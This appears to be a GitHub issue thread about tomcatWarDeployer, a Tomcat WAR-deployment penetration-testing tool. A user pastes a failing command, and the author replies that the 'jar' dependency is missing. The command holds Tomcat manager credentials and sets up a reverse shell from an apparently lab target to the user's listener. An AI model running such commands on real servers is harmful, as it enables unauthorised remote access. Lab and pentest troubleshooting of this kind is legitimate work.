tomcatWarDeployer
tomcatWarDeployer copied to clipboard
ERROR: Executing 'where jar' returned: 'Command 'where jar' returned non-zero exit status 127'
Hi, I cannot get the reverse shell on the target
python2 tomcatWarDeployer.py -U tomcatadm -P 'T0mc@t_s3cret_p@ss!' -H 10.10.14.51 -p 9999 -u /manager/html/ 10.129.89.161:8080
tomcatWarDeployer (v. 0.5.2)
Apache Tomcat auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16-18
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
INFO: Reverse shell will connect to: 10.10.14.51:9999.
INFO: Apache Tomcat/9.0.31 (Ubuntu) Manager Application reached & validated.
INFO: At: "http://10.129.89.161:8080/manager/html/"
ERROR: Executing 'where jar' returned: 'Command 'where jar' returned non-zero exit status 127'
Traceback (most recent call last):
File "tomcatWarDeployer.py", line 1224, in <module>
main()
File "tomcatWarDeployer.py", line 1102, in main
code, opts.title, opts.appname)
File "tomcatWarDeployer.py", line 368, in generateWAR
raise MissingDependencyError
__main__.MissingDependencyError
How to fix this? Thanks!
Hi,
So it looks like you don't have required jar
command on your machine. Please install Java Runtime Environment (JRE), make sure that jar
is available at your PATH and try again.
Regards, Mariusz.